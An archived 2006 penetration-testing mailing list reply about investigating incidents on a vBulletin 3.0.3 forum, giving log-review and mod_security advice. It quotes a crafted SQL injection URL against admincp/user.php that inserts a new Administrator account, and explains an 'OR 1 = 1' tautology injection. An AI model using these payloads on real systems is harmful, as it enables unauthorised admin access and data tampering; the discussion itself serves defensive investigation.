Penetration Testing mailing list archives

Re: testing vulnerable web application.


From: Rogan Dawes <discard () dawes za net>
Date: Mon, 26 Jun 2006 18:34:22 +0200

Dave wrote:
pen testers,

Our companies website hosts a forum program called vBulletin 3.0.3. A few recent incidents (i.e. threads vanishing, user accounts deleted) has us looking into how this is happening. Our manager wants to solve this problem 'in house' so the task was given to me and another employee to see if we can figure out how this is happening and stop it.

First approach should be to review the http server logs to see what unusual parameters are being passed to the server. Obviously, this will only catch attacks using GET, and not any POST/etc.

What you might to is try to add some tracing into the code, and log all the parameters that are sent, both via GET and POST. mod_security might be able to help you here.

[snip]

USING example : admincp/user.php?do=find&orderby=username&limitnumber=[SQL] we crafted a URL:


http://192.168.6.99:8080/vb-forums/admincp/user.php?do=find&orderby=username&limitnumber=[INSERT%20INTO%20user%20VALUES('12345',%20'6',%20'',%20'0',%20'admintest',%20'5f376e00eb11f00d0262636a5b699501',%20'2006-06-25',%20'nospam () nospam org',%20'0',%20'',%20'',%20'',%20'',%20'',%20'2',%20'Administrator',%20'0',%20'1151266933',%20'0',%20'1151272079',%20'1151274578',%20'1151267867',%20'1',%20'10',%20'1',%20'',%20'0',%20'0',%20'0',%20'2135',%20'',%20'0000-00-00',%20'-1',%20'1',%20'',%20'0',%20'0',%20'',%20'0',%20'0',%20'-1',%20'0',%20'0',%20'$Nu')]

It looks like you might have left out the actual limitnumber from that parameter. I'd suggest reading up a bit more about combining the existing query, and your own when performing SQL injection.

e.g. if the original query looks like

SELECT * FROM TABLE
WHERE limit < [limitnumber]

whatever you supply as [limitnumber] still needs to form a completely valid SQL statement when it is executed.

e.g. [limitnumber] =

10 OR 1 = 1

would return ALL record from the above table, since the 1=1 will always return TRUE, "overriding" the "limit < 10" part

Regards,

Rogan

------------------------------------------------------------------------------
This List Sponsored by: Cenzic

Concerned about Web Application Security? Why not go with the #1 solution - Cenzic, the only one to win the Analyst's Choice Award from eWeek. As attacks through web applications continue to rise, you need to proactively protect your applications from hackers. Cenzic has the most comprehensive solutions to meet your application security penetration testing and vulnerability management needs. You have an option to go with a managed service (Cenzic ClickToSecure) or an enterprise software (Cenzic Hailstorm). Download FREE whitepaper on how a managed service can help you: http://www.cenzic.com/news_events/wpappsec.php And, now for a limited time we can do a FREE audit for you to confirm your results from other product. Contact us at request () cenzic com for details.
------------------------------------------------------------------------------


Current thread: